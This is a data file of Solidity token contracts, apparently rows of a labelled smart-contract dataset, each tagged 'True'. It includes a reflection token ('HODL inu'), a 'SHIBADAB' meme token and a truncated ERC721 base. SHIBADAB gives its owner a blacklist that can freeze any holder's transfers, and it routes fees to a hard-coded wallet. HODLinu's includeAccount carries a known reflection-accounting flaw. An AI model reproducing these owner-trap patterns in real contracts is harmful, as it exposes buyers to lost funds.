* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HODLinu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'HODL inu';
string private _symbol = 'HODL';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 133333333333 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
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/**
*/
/*
Telegram: https://t.me/ShibaDAB
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBADAB is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "SHIBADAB";
string private constant _symbol = "SHIBADAB";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x1dDAcbAacA00C005Fb85305efBb4962c1221d1D3);
_feeAddrWallet2 = payable(0x1dDAcbAacA00C005Fb85305efBb4962c1221d1D3);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x1dDAcbAacA00C005Fb85305efBb4962c1221d1D3), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-13
*/
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
